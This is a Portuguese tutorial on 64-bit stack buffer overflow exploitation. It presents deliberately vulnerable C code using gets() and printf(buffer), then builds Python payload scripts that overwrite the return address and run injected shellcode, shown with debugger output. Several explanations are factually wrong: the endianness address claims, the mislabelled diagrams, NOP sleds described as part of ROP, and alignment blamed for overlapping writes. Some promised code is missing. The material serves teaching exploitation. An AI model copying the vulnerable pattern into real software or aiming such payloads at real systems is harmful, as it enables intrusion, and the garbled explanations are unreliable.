▄▄▄▄    █    ██   █████▒ █████▒▓█████  ██▀███      ▒█████   ██▒   █▓▓█████  ██▀███    █████▒██▓     ▒█████   █     █░
 █████▄  ██  ▓██▒▓██   ▒▓██   ▒ ▓█   ▀ ▓██ ▒ ██▒   ▒██▒  ██▒▓██░   █▒▓█   ▀ ▓██ ▒ ██▒▓██   ▒▓██▒    ▒██▒  ██▒▓█░ █ ░█░
▒██▒ ▄██▓██  ▒██░▒████ ░▒████ ░ ▒███   ▓██ ░▄█ ▒   ▒██░  ██▒ ▓██  █▒░▒███   ▓██ ░▄█ ▒▒████ ░▒██░    ▒██░  ██▒▒█░ █ ░█ 
▒██░█▀  ▓▓█  ░██░░▓█▒  ░░▓█▒  ░ ▒▓█  ▄ ▒██▀▀█▄     ▒██   ██░  ▒██ █░░▒▓█  ▄ ▒██▀▀█▄  ░▓█▒  ░▒██░    ▒██   ██░░█░ █ ░█ 
░▓█  ▀█▓▒▒█████▓ ░▒█░   ░▒█░    ░▒████▒░██▓ ▒██▒   ░ ████▓▒░   ▒▀█░  ░▒████▒░██▓ ▒██▒░▒█░   ░██████▒░ ████▓▒░░░██▒██▓ 
░▒▓███▀▒░▒▓▒ ▒ ▒  ▒ ░    ▒ ░    ░░ ▒░ ░░ ▒▓ ░▒▓░   ░ ▒░▒░▒░    ░ ▐░  ░░ ▒░ ░░ ▒▓ ░▒▓░ ▒ ░   ░ ▒░▓  ░░ ▒░▒░▒░ ░ ▓░▒ ▒  
▒░▒   ░ ░░▒░ ░ ░  ░      ░       ░ ░  ░  ░▒ ░ ▒░     ░ ▒ ▒░    ░ ░░   ░ ░  ░  ░▒ ░ ▒░ ░     ░ ░ ▒  ░  ░ ▒ ▒░   ▒ ░ ░  
 ░    ░  ░░░ ░ ░  ░ ░    ░ ░       ░     ░░   ░    ░ ░ ░ ▒       ░░     ░     ░░   ░  ░ ░     ░ ░   ░ ░ ░ ▒    ░   ░  
 ░         ░                       ░  ░   ░            ░ ░        ░     ░  ░   ░                ░  ░    ░ ░      ░
in 64 bits
by dezska
table of contents
01. introduction
02. endianess
2.1 little endian
2.2 big endian
03. stack
3.1 stack frames
3.2 stack registers
3.3 stack alignment
04. buffer overflow
4.1 stack overwriting
4.2 gadgets (ROP)
4.3 shellcode
4.4 nop sled (ROP)
05. mitigations
5.1 NX (No-eXecute)
5.2 Stack Canaries
6. references


Introduction

Hoje vamos abordar um assunto bem especial sobre (também) low-level hacking, os buffer overflows.

O paper consistirá em uma explicação detalhada e aprofundada desde o recon e o approach nessa dessa vuln até o seu pwn. Além disso, durante as explicações, será notável também algumas menções de códigos, incluindo a construção de nossos futuros payloads.

  • Código que será utilizado nas demonstrações das explicações ao longo do paper:

  • #include <stdio.h> void vuln(void) { char buffer[24]; printf("input: "); gets(buffer); puts("voce disse: "); printf(buffer); return; } int main(void) { vuln(); return 0; }

    No nosso ambiente, compilaremos o código acima com a seguinte sintáxe do GCC:

    Sendo 'main.c' o nosso arquivo que contém o código e 'main' o nome do output

    Portanto, o binário final será:

            pwndbg> checksec
            File:     /.../.../.../.../main
            Arch:     amd64
            RELRO:    Partial RELRO
            Stack:    No canary found
            NX:       NX unknown - GNU_STACK missing
            PIE:      No PIE (0x400000)
            Stack:    Executable
            RWX:      Has RWX segments
                        

    Endianess

    Primeiramente vamos chama-lo como um conceito que é aplicado nos sistemas operacionais modernos e antigos, sendo muito relevantes na comunicação entre computadores e dispositivos, e até hoje tendo sua utilização na maioria das vezes, em arquiteturas de processadores. Agora vamos direto ao assunto.

    Endianess é um conceito que envolve como a nossa CPU lida com os endereço, de forma que possa influenciar a interpretação do mesmo e até causar confusões. Agora, vamos entender de fato o que seja. A forma como os endereço são atribuidos em cada byte em cada segmento de memória na memória RAM, é determinada a partir do sistema Endianess, que influência na ordem em que os bytes são organizados no endereço, sendo eles de 8 bits e 256 combinações diferentes.

    Dentro desse sistema, existem 3 tipos do mesmo, hoje iremos falar dos 2 tipos principais, o Little-Endian e o Big-Endian.

    Arquiteturas que são dependentes do sistema Little-Endian têm seu endereçamento feito em ordem crescente, utilizando um sistema de manipulação envolvendo significatividade chamado LSB (Less Significative Byte), que significa que os bytes menos significativos possuem prioridade sobre o endereço.

    Por outro lado, os sistemas Big-Endian são menos comúns mas ainda são presentes na tecnologia moderna, ele envolve o mesmo conceito do Little-Endian mas de forma que o Little-Endian utiliza o conceito de LSB, o Big-Endian utiliza exatamente o oposto, o MSB (Most Significative Byte). Os dois são opostos mas os conceitos não são distintos, o MSB organiza o endereço de forma que o byte mais significativo/o maior byte tenha prioridade no endereço.

    Exemplo:
    
        - Um endereço comúm, por exemplo,
             ------------
            | 0xbffff7a0 |
             ------------
    
            Se quiséssemos armazenar um valor de 32 bits dentro desse endereço, a ordem que esse valor seria armazenado muda nos dois sistemas
            Por exemplo, 0x12345678
    
            0x | 12 | 34 | 56 | 78
            ~ Little-Endian/LSB : Os bytes são armazenados na ordem " 78 | 56 | 34 | 12 ", sendo 78 representado pelo endereço 0xbffff7a0, 56 por 0xbffff7a1 e assim por diante;
            
                Valor    |     Endereço
                -----------------------
                v 78     |   0xbffff7a0
                v 56     |   0xbffff7a1
                v 34     |   0xbffff7a2
                v 12     |   0xbffff7a3
            ~ Big-Endian/MSB    : Os bytes são armazenados na ordem " 12 | 34 | 56 | 78 ", sendo 12 representado pelo endereço 0xbffff7a0, 34 por 0xbffff7a1 e assim por diante.
                
                Valor    |     Endereço
                -----------------------
                ^ 78     |   0xbffff7a3
                ^ 56     |   0xbffff7a2
                ^ 34     |   0xbffff7a1
                ^ 12     |   0xbffff7a0
                

    No nosso ambiente de exploração hoje, o conceito que será aplicado será o Little-Endian, então, eventulamente, caso eu mencionar, por exemplo, "Endereços mais altos", são endereços baixos, enquanto, "Endereços mais baixos", são endereços altos.


    Stack & Stack frames

    A stack é uma estrutura dentro da memória de um programa, de forma direta, consiste em uma estrutura/região utilizada para o armazenamento de qualquer valor. Os programas utilizam a stack para manipular dados e variáveis locais de forma dinâmica ao decorrer da execução.

    Dentro da stack existe um tipo de área/subestrutura chamada "stack frame", os frames dentro da stack são organizados pelo RSP e pelo RBP, cada frame é a área dentro da stack da função atual sendo executada pelo programa, enquanto o RSP aponta pro topo da stack, o RBP apontaria pra base desse frame.

    Então, significa que sempre que sempre que uma função é chamada no programa, um novo frame é inicializado pelos registradores.

    Dependendo da origem do programa, caso tenha sido escrito em uma linguagem (excluindo Assembly) e compilado, geralmente quem insere cada frame no ínicio de cada função do programa é o compilador, caso tenha sido escrito em Assembly, a obrigação de inicializar um novo frame na stack manipulando os registradores a cada função chamada, é do programador.

    Dentro das linguagens de programação mais High Level do que Assembly, como C, C++, Java e etc, existe o conceito dos escopos, é a visibilidade e acessibilidade de variáveis e dados de outros stack frames, como por exemplo, acessar a variável x da função tal (x está no stack frame da função 'tal').

    Exemplo:

    void function() {
        int variavel = 10; // impossível acessar a variável 'variavel' dessa função estando na função 'main', essa é a ideia do escopo, limitar entre os frames
    }
    
    int main(void) {
        variavel = 1; // aqui o compilador diz que 'variavel' não foi inicializada nessa função/frame ainda
    }

    Mas existem outros casos, por exemplo, em Assembly, o conceito de escopo é explícito e a responsabilidade sobre ele é dada ao programador, já que a manipulação de variáveis da stack é feita a partir dos registradores (RBP e RSP por exemplo), não tem algo que evite que uma função acesse variáveis de outras funções/stack frames da forma que acontece nos exemplos citados acima.

    Um exemplo de contra-utilização de escopos (em Assembly):

    _end:
        mov byte [rbp-4], 0x70  ; o valor do RBP se mantém o mesmo, significa que ainda vai manipular aquela váriavel da função '_start'
    
    _start:
        push rbp
        mov rbp, rsp
    
        mov byte [rbp-4], 0x69  ; stack frame da função/label 'start'
    
        jmp _end

    A estrutura da stack segue o mesmo conceito de uma pilha, basicamente, os elementos são empilhados um em cima do outro na ordem que são tanto empilhados quanto desempilhados. O nome desse sistema/algorítmo é LIFO.

    ilustração
    
    
                
  • LIFO (Last In, First Out)
  • Registers

    Eu preciso falar um pouco de alguns registradores, pode ser que ainda não os conheçam. Existem 3 registradores que eu quero mencionar no paper de hoje, dentre eles são o RSP, RBP, RIP e o return address (que não é um registrador, porém, se encaixa no contexto)

    Todos os registradores que serão citados hoje, fazem parte da arquitetura x86 e estão presentes nas CPUs atuais da Intel, são todos de 64 bits mas ainda existem outros registradores derivados deles, ainda da x86 mas de barramentos inferiores, como 32 e 16.

  • RIP - Register Instruction Pointer

  • RSP - Register Stack Pointer

  • RBP - Register Base Pointer
  • Return Address
  •                     (e.q:
                            call function
                            mov rax, 5 <-- o endereço dessa operação é empilhado na stack, ele é o tal return address e no final da execução da 'function', a instrução 'RET' presente
                                           nessa função vai empurrar esse return address para o registrador RIP. Eventualmente a CPU executará essa operação)

    Stack Alignment

    Alinhamento como sempre sendo um tópico as vezes um pouco complexo, todavia, esse não será tão complexo ou extenso, vou tentar resumir e economizar o máximo de tempo.

    A arquitetura x86-64 segue alguns critérios sobre alinhamento quando o assunto é a stack. Como eu menciono no tópico de NOP Sled, a stack precisa seguir um alinhamento de 2, 4, 8 ou 16 bytes entre os dados, sempre em números pares para garantir uma melhor eficiência e precisão do programa.

    Em arquiteturas, por exemplo, a x86-64, o alinhamento necessário é de geralmente de 8 bytes ou endereços múltiplos de 8 (que são divisíveis por 8), especificamente 8 bytes porque é o tamanho de um endereço na x86-64. Abstraindo, tamanho do endereço é desenvolvido com base no barramento/BUS atual da CPU, quando a CPU está operando normalmente em userland, ela opera com um barramento de 64 bits (desde que a arquitetura da CPU seja de 64 bits, então caso seja x86-32, respectivamente, 32 bits).

    Quando não existe um alinhamento entre os valores em cada endereço, pode haver que o valor cheio possa invadir outras regiões. Por exemplo, um endereço/um valor de 8 bytes para ser armazenado em um endereço não múltiplo de 8, o que aconteceria? os bytes do valor poderiam invadir outros endereços. Caso esteja confuso:

    _start:
        push rbp
        mov rbp, rsp
    
        sub rsp, 32                 ; subtrai 32 bytes do RSP (aloca 32 bytes)
    
        mov qword [rbp-4], 0x69     ; move 0x69 pra um offset da stack, que nesse momento vai virar a variável 'var'
    
        lea rax, [rbp-4]            ; move o endereço de um offset da stack (que é o offset de 'var') pro RAX
    
        mov qword [rbp-12], rax     ; move o valor do RAX pra um offset da stack (não múltiplo de 8)
    O que acaba acontecendo:
    
                ─────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]────
                RAX  0x7fffffffe6f4 ◂— 0x69 /* 'i' */
                ─────────────────────────[ STACK ]────────────────────────────────────────────────
                00:0000│ rsp   0x7fffffffe6d8 ◂— 0x0
                01:0008│-018   0x7fffffffe6e0 ◂— 0x0
                02:0010│-010   0x7fffffffe6e8 ◂— 0xffffe6f400000000
                03:0018│ rax-4 0x7fffffffe6f0 ◂— 0x6900007fff
                04:0020│ rbp   0x7fffffffe6f8 ◂— 0x0
    
                pwndbg> x/-2gx 0x7fffffffe6f8
                0x7fffffffe6e8: 0xffffe6f400000000      0x0000006900007fff
                Como 0x7fffffffe6ec não é um múltiplo de 8, o valor 0x7fffffffe6f4 não está devidamente alinhado, o que resulta em um valor corrompido na stack. 
                Especificamente, o valor de RAX (0x7fffffffe6f4) é dividido entre os endereços 0x7fffffffe6e8 e 0x7fffffffe6ec, causando a corrupção analisada, sendo
                0xffffe6f400000000 e 0x0000006900007fff representando a sobreposição e fragmentação dos dados.
                
                Vale ressaltar que, 0x7fffffffe6ec é o endereço que resulta na expressão de, (rsp - 32) - 12.
                Sendo, rsp - 32 da alocação da stack e - 12 do offset qual o endereço de 'var' seria armazenado.

    Resumindo essa parte, é como se o valor 0x1234 fosse armazenado divididamente entre endereços desalinhados, sendo:

                    0x7fffffffe719    : 0x01
                    0x7fffffffe720    : 0x23
                    0x7fffffffe721    : 0x04

    Um caso de alinhamento por exemplo, quando compiladores precisam adicionar um padding a uma estrutura ou algum array específico, esse padding é um preenchimento vazio em bytes para que quando tal tipo/estrutura/array fosse empilhado na stack, ficasse em endereços múltiplos e pares.

    Alguns exemplos de problemas que ocorrem quando existe um mal-funcionamento ou um stack alignment mal planejado:

    Undefined Behaviour: acontece quando em linguagens de programação como C/C++ ou Assembly, tentam desferenciar um ponteiro/região da memória inválido (e.q: void* ptr = NULL; ptr* = 10; ), como um endereço mal escrito, leitura de forma incorreta ou leitura em uma região desalinhada.


    Stack-Based Buffer Overflow

    O Buffer Overflow é uma vulnerabilidade amplamente conhecida, ele consiste no overflow de um buffer, o sentido literal do nome da vulnerabilidade. Um buffer é uma área temporária projetada para armazenar uma devida quantidade de dados, seja seu tamanho estático ou dinâmico. Essa parte é importante já que os dados inseridos no input do programa são armazenados justamente nesses buffers. Overflows ocorrem quando um buffer acaba recebendo mais dados (por exemplo, o nosso input) do que pode acomodar, resultando em um vazamento/transbordamento para outras váriaveis/dados na memória. Acontece que, quando esse transbordamento acontece, a escrita avança pra limites além desse buffer, eventualmente escrevendo em regiões inapropriadas que podem ser exploradas para nosso benefício e atingirmos o nosso objetivo.

    
                  Na stack:
                                    +______+ <--- lower addresses
                                    |      |
                            RSP ->  |      | return address
                                    +______+
                                    |      |
                                    |      | saved rbp
                                    +______+
                                    |      |
                                    |      | canary (se estiver ativado)
                                    +______+
                                    |      |
                                    |      | outros dados (geralmente até o fim da stack)
                                    +______+
                                    |      |
                                    |   F  |
                                    +______+
                                    |      |
                                    |   E  |
                   _________________+______+ <--- OVERFLOW (escrevemos 'E' e 'F' além do buffer projetado)
                  |                 |      |
                  |    buffer[3]    |   D  |
                  |                 +______+
                  |                 |      |
                  |    buffer[2]    |   C  |
                  |                 +______+
                  |                 |      |
                  |    buffer[1]    |   B  |
                  |                 +______+
                  |                 |      |
                  |    buffer[0]    |   A  |
                  |_________________+______+ <--- higher addresses
      
                    char buffer[4];
    
                    input a ser inserido: ABCDEF (que possui 6 bytes enquanto o buffer tem 4 bytes de tamanho)
                

    Nesse contexto, o objetivo é se aproveitar de uma vuln de BOF para hijackar o flow do nosso programa, de forma que possamos efetuar uma code injection na memória dele e executar esse code injetado. Mas como? Observa-se a presença do return address na stack, o conceito segue a ideia de se aproveitar a escrita arbitrária do overflow. Seria escrever o nosso shellcode na stack e retornamos para a primeira instrução desse shellcode, escrevendo o endereço dessa instrução justamente no return address. De forma que uma instrução 'RET' faça o flow do programa retornar à essa instrução.

    O tipo de BOF que eu vou mencionar nesse paper é onde acontece a escrita sem a validação adequada para um buffer, resultando em um transbordamento na stack (que é onde o buffer se encontra).

    No contexto do nosso ambiente, no código em destaque na introdução do paper, existe uma vulnerabilidade de buffer overflow no trecho onde a função gets() é chamada, o motivo desse buffer overflow é que a função escreve o input do usuário em um buffer destino sem a validação adequada, a função não verifica se o input ultrapassa o tamanho do buffer.

    Com a falta da presença dessa verificação, é possível ultrapassar o tamanho do buffer e escrever nosso input na stack, para alcançarmos nosso objetivo (pwnar), vamos desenvolver um payload adequado para este programa.

    Stack Overwriting

    Observe:

    +--------------------------------+
    ~ ./main
    input: ola, essa eh uma entrada    <-- vulnerável
    voce disse:
    ola, essa eh uma entrada
    +--------------------------------+

    Então, re-capitulando, o programa acima fornece um input ao usuário, recebe os dados desse input e imprime esses dados recebidos. Como dito na seção de buffer overflows, um mecanismo que escreve dados em uma região de memória sem a verificação apropriada pode causar transbordamento nessa região, de forma que dados possam ser escritos em outros bytes.

    Sabemos que essa tal região (no contexto do nosso programa), é a stack, dentro da stack nós possuimos o return address, o nosso objetivo é sobrescreve-lo. A ideia é avançarmos o suficiente nesse buffer (esse buffer seria o nosso input armazenado na stack) para que seja possível sobrescrevermos o return address com o nosso próprio endereço. Antes disso tudo, precisamos montar um shellcode, ele é um trecho de código bruto. Após montarmos ele, vamos escreve-lo na stack e setar no return address justamente o endereço da primeira instrução desse shellcode.

    Como a criação desse shellcode é uma etapa mais avançada da exploração, primeiro precisamos fazer o recon dessa vulnerabilidade e ajeitarmos o nosso ambiente, quando soubermos que o shellcode está injetável, podemos desenvolve-lo. Então o nosso shellcode inicial pode ser um NOP Sled simples ou apenas algumas interrupções de breakpoint.

    Prosseguindo, a primeira etapa da nossa exploração é descobrir o tamanho desse buffer, vamos utilizar uma técnica chamada junk code. Junk code é uma sequência de caractéres em múltiplos de 2, 4, 6 ou 8, esse junk vai explicitar pra gente qual é o offset em relação ao primeiro caractére do buffer até o return address, já que no topo da stack estaria um desses caractéres dos múltiplos. Talvez esteja confuso, mas vai ficar moleza.

    Exemplo:

    Vamos utilizar esse junk code e analizarmos o flow do programa pelo gdb:

                        Program received signal SIGSEGV, Segmentation fault.
                        0x00000000004011a4 in vuln ()
                        ─────────────[ DISASM / x86-64 / set emulate on ]─────────────
                        ► 0x4011a4     ret    <0x4c4c4c4c4b4b4b4b>
                        ─────────────[ STACK ]────────────────────────────────────────
                        00:0000│ rsp 0x7fffffffe5e8 ◂— 'KKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU'

    Sabemos que a instrução 'RET' utiliza o valor no topo da stack como return address, se o return address foi sobrescrito com "KKKK", é evidente que a partir de "JJJJ" o return address seria sobrescrito, e esse é o offset entre o primeiro 'A' e o return address, se quiséssemos ter até uma maior precisão, poderíamos contar quantos bytes/caractéres existem entre o primeiro 'A' e o último 'J', explicítaria o offset em relação aos dois elementos.

    Então após a primeira etapa da nossa exploração, o nosso payload fica assim:

    junk = b"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"
    payload = junk
    
    with open("xpl", "wb") as f:
        f.write(payload)

    Agora, partimos para nossa segunda etapa da exploração, precisamos descobrir com o que podemos substituir o return address. Se o nosso objetivo é rodar o shellcode na memória do programa, precisamos descobrir qual seria o endereço da primeira instrução desse shellcode.

    Sabemos que na arquitetura x86-64, os endereços são múltiplos de 8, então podemos calcular qual seria o offset/endereço da primeira instrução do nosso shellcode da seguinte forma: Se vamos escrever o shellcode logo após o return address, precisamos calcular qual seria o endereço do próximo byte após o return address. Se o return address possui 8 bytes, podemos calcular o endereço apontado pelo RSP + 8 bytes, que no final seria o endereço da primeira instrução do nosso shellcode.

    Executamos esse cálculo da seguinte forma:

                    pwndbg> p/x $rsp + 8
                    $2 = 0x7fffffffe5f0
    
                    ~ p: comando de impressão;
                    ~ /x: sufixo hexadecimal, significa que o valor deve ser imprimido na sua forma hexadecimal;
                    ~ $(rsp): o caractére de sifrão ($) indica diretamente o valor de um registrador;
                    ~ rsp: indica qual o registrador (que nesse caso é o RSP);
                    ~ + 8: quantos bytes a mais em relação ao offset antigo (que é o valor do RSP, tal valor é o topo da stack que também é o endereço que guarda o return address)

    Perfeito, agora que sabemos qual é o endereço da primeira instrução do nosso futuro shellcode, podemos inclui-lo no nosso payload:

    import struct
    
    junk = b"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"
    ret_addr = struct.pack("<Q", 0x7fffffffe5f0) # usa a função 'pack' para empacotar o endereço hexadecimal '0x7fffffffe5f0' como um unsigned 
                                                   long long (64 bits sem sinal) no formato Little-Endian (caso fosse o endereço em si no input, seria enviado em forma de caractére)
    payload = junk + ret_addr
    
    with open("xpl", "wb") as f:
        f.write(payload)

    Agora para testarmos se o payload está funcionando ou não, vamos adiantar um rápido shellcode bem básico.

    import struct
    
    junk = b"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"
    ret_addr = struct.pack("<Q", 0x7fffffffe5f0) # isso aqui na stack vai ficar \xf0\xe5\xff\xff\xff\x7f (invertido por causa do endianess)
    shellcode = b"\xcc\xcc\xcc\xcc" # nosso shellcode vai ser quatro instruções de breakpoint
    payload = junk + ret_addr + shellcode
    
    with open("xpl", "wb") as f:
        f.write(payload)

    refer to [0]

    Está tudo pronto, vamos executar e analizar as saídas do pwndbg e o flow que o programa vai seguir.

                    pwndbg> b * 0x4011a4
                    pwndbg> shell python3 expl.py
                    pwndbg> r < xpl
    
                    0x00007fffffffe5f0 in ?? ()
                    ─────────────[ REGISTERS / show-flags on / show-compact-regs off ]─────────────
                    *RBP  0x4a4a4a4a49494949 ('IIIIJJJJ')
                    *RSP  0x7fffffffe5e8 —▸ 0x7fffffffe5f0 ◂— 0xcccccccc
                    ─────────────[ STACK ]─────────────────────────────────────────────────────────
                    00:0000│ rsp 0x7fffffffe5f0 ◂— 0xcccccccc
                    ─────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────
                    0x4011a4         <vuln+78>     ret    <0x7fffffffe5f0>
                        ↓
                    ►  0x7fffffffe5f0              int3
                       0x7fffffffe5f1              int3
                       0x7fffffffe5f2              int3
                       0x7fffffffe5f3              int3

    Perfeito, estamos conseguindo finalmente handlar o execution flow do programa. E então, sumarizando, conseguimos sobrescrever o return address, injetar um shellcode na stack e executa-lo com sucesso.

    Gadgets

    Esse tópico não pertence a BOF mas faz parte da nossa exploração em alguns contextos, mas o tópico pertence especificamente a explorações onde a técnica de exploração utilizado é ROP (Return-Oriented Programming) que não vai ser desenvolvido nesse paper. Basicamente os gadgets são alguns desvios do flow do programa antes da execução de um shellcode injetado ou as vezes é até uma substituição do shellcode, depende muito do caso, do contexto e etc.

    Eles são pequenas operações dentro do código do binário, não é necessário injeta-los pois eles já fazem parte do próprio código, o funcionamento do binário. A ideia de ser um "desvio para o flow" é basicamente sobrescrever o return address com o endereço desses gadgets, a CPU vai executar tal operação contida nesse endereço que é o gadget. Essas operações são vastas e distintas, ela servem para muitos propósitos diversificados, mas o principal motivo de serem desvios é para bypassar mitigações de segurança como o NX (No-eXecute).

    É possível encontrar gadgets conhecidos por via de algumas ferramentas, dentre elas, por exemplo, existe o ROPgadget, uma ferramenta que é capaz de encontrar gadgets conhecidos em um binário, aqui um exemplo de seu uso:

    refer to [1]

                    ~ ROPgadget --binary main
                    Gadgets information
                    ============================================================
                    0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
                    0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
                    0x00000000004011b3 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
                    0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
                    0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
                    0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
                    0x00000000004011b5 : add byte ptr [rax], al ; pop rbp ; ret
                    0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
                    0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
                    0x0000000000401139 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
                    0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
                    0x0000000000401038 : add dl, dh ; jmp 0x401020
                    0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
                    0x0000000000401137 : add eax, 0x2efb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
                    0x0000000000401017 : add esp, 8 ; ret
                    0x0000000000401016 : add rsp, 8 ; ret
                    0x00000000004011a1 : call qword ptr [rax + 0xff3c3c9]
                    0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
                    0x0000000000401014 : call rax
                    0x0000000000401153 : cli ; jmp 0x4010e0
                    0x00000000004010a3 : cli ; ret
                    0x00000000004011bf : cli ; sub rsp, 8 ; add rsp, 8 ; ret
                    0x00000000004010c8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
                    0x0000000000401150 : endbr64 ; jmp 0x4010e0
                    0x00000000004010a0 : endbr64 ; ret
                    0x0000000000401012 : je 0x401016 ; call rax
                    0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
                    0x0000000000401107 : je 0x401110 ; mov edi, 0x404038 ; jmp rax
                    0x000000000040103a : jmp 0x401020
                    0x0000000000401154 : jmp 0x4010e0
                    0x000000000040100b : jmp 0x4840103f
                    0x00000000004010cc : jmp rax
                    0x00000000004011a3 : leave ; ret
                    0x00000000004010cd : loopne 0x401135 ; nop ; ret
                    0x0000000000401136 : mov byte ptr [rip + 0x2efb], 1 ; pop rbp ; ret
                    0x00000000004011b2 : mov eax, 0 ; pop rbp ; ret
                    0x00000000004010c7 : mov edi, 0x404038 ; jmp rax
                    0x00000000004011a2 : nop ; leave ; ret
                    0x00000000004010cf : nop ; ret
                    0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
                    0x00000000004010c6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
                    0x000000000040113d : pop rbp ; ret
                    0x000000000040101a : ret
                    0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
                    0x0000000000401138 : sti ; add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
                    0x00000000004011c1 : sub esp, 8 ; add rsp, 8 ; ret
                    0x00000000004011c0 : sub rsp, 8 ; add rsp, 8 ; ret
                    0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
                    0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
                    0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404038 ; jmp rax
                    0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
    
                    Unique gadgets found: 51

    Um exemplo claro de sua utilidade é em um cenário/contexto onde o objetivo do shellcode é chamar a função "system" para executar um comando no sistema. O comando desejado é passado pelos argumentos da função, mais especificamente pelo registrador RDI, se o endereço da função "system" fosse empilhado na stack e logo depois a string/comando desejada fosse empilhada na stack, um gadget como "pop rdi ; ret" é útil pois "pop rdi" desempilharia a string/comando para o registrador RDI e a instrução 'RET' empurraria o endereço da "system" que está no topo da stack pois a string foi desempilhada e então, a função seria executada com a string/comando desejado sido passada pelos argumentos.

    NOP Sled

    Também faz parte da técnica de ROP (Return-Oriented programming) igual os gadgets citados no tópico acima. NOP Sled é uma técnica utilizada na binary exploitation e na técnica ROP, o conceito dela segue a ideia de um array/matriz de NOPs (instrução de no-operation, resumidamente, não faz nada).

    Ela possui múltiplas finalidades, uma das principais e mais diretas é para alinhamento e prevenção de detecção por parte do binário durante a execução, o NOP Sled é comumente introduzido antes de um shellcode, quando se fala de alinhamento é geralmente um array de 2, 4, 8 ou 16 NOPs utilizados para alinhar a stack em múltiplos de endereços ou números pares compatíveis, algo que é requisitado na x86-64.

    Além desse exemplo de uso, ainda existe um uso muito frequente do NOP Sled que possui o mesmo efeito do junk code. Um padding para avançar o offset do buffer até um determinado elemento da stack (e.q: return address).

    Um exemplo de NOP Sled em um payload:

    import struct
    
    junk = b"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"
    ret_addr = struct.pack("<Q", 0x7fffffffe5f0)
    shellcode = b"\xb8\x3c\x00\x00\x00\x48\x31\xff\x0f\x05\x00"
    nop_sled = b"\x90" * 8
    payload = junk + ret_addr + nop_sled + shellcode
    
    with open("xpl", "wb") as f:
        f.write(payload)

    Shellcode

    Essa parte é importante. Até agora entendemos e aprendemos como funcionam os buffer overflows, entendemos o endianess (porque agora vamos utilizar) e também descobrimos como explora-los. Mas ainda falta uma etapa bem importante da nossa exploração, o desenvolvimento do nosso shellcode.

    Conseguimos injetar um shellcode básico com sucesso na última etapa, agora vamos aprender como desenvolver um shellcode mais avançado do que utilizamos.

    Primeiro vamos entender a definição de shellcode. Shellcode é um curto, rápido e eficiente trecho de código em bytes com a finalidade de executar uma tarefa específica, sua representação pode ser tanto em Assembly quanto hexadecimal, porém na memória (apos a injeção), ele permanesce na forma hexadecimal.

    Porém, inicialmente shellcode foi um termo introduzido para se tratar de um curto trecho de código, mas em vez de possuir qualquer finalidade, ele tinha uma finalidade principal e única que era fornecer uma shell para o atacante. Mas com o passar do tempo, um senso comúm acabou de estabilizando e shellcode se refere a definição citada acima, que não se limita a apenas essa.

    Precisamos desenvolver o nosso shellcode para um array de bytes hexadecimais (e.q: \x90\x90\x90\x90), podemos utilizar algumas libs tanto de C quanto de python ou alguma outra linguagem de programação para injetarmos o shellcode final com a formatação correta (em bytes e não em uma string igual vemos em IDEs/Editores de Texto). Existem múltiplas formas de desenvolver um shellcode, tanto manuais quanto automáticas, se você quer que eu seja direto ao ponto e lhe mostre uma forma mais direta:

    Agora, de forma mais manual e um aprendizado mais interessante. Vamos denovo programar o nosso shellcode em Assembly, compilaremos para um binário (não necessariamente um executável) e vamos usar algumas ferramentas.

    Podemos utilizar 'objdump' no binário compilado para dumparmos o código desse binário, conseguiremos os opcodes e operandos do nosso shellcode dessa forma:

                    ~ nasm main.asm -f elf64 -o shellcode.o
                    ~ objdump -d shellcode.o
    
                    Disassembly of section .text:
    
                    0000000000000000 <_start>:
                        0:   b8 3c 00 00 00          mov    $0x3c,%eax
                        5:   48 31 ff                xor    %rdi,%rdi
                        8:   0f 05                   syscall

    Após dumparmos o código do binário, podemos analizar seus opcodes e operandos das operações. O proximo passo para o desenvolvimento do shellcode é bem simples, precisamos apenas alinharmos cada byte de forma linear (e.q: 90 90 90 90 ou \x90\x90\x90\x90), o tal array de bytes do shellcode final.

  • Seguindo a lógica citada acima, o shellcode final para o nosso código fica assim:
  • Ainda existem outros casos que devem ser trabalhados de forma mais específica, por exemplo, lidando com strings, é um pouco mais complicado, a string precisa ser invertida devida o Endianess (em caso de Little-Endian) e separada entre operações dependendo do tamanho dela.

    O assunto ainda não acabou, por agora, precisamos falar sobre alinhamento e corrupção do shellcode (isso dá dor de cabeça, cara).

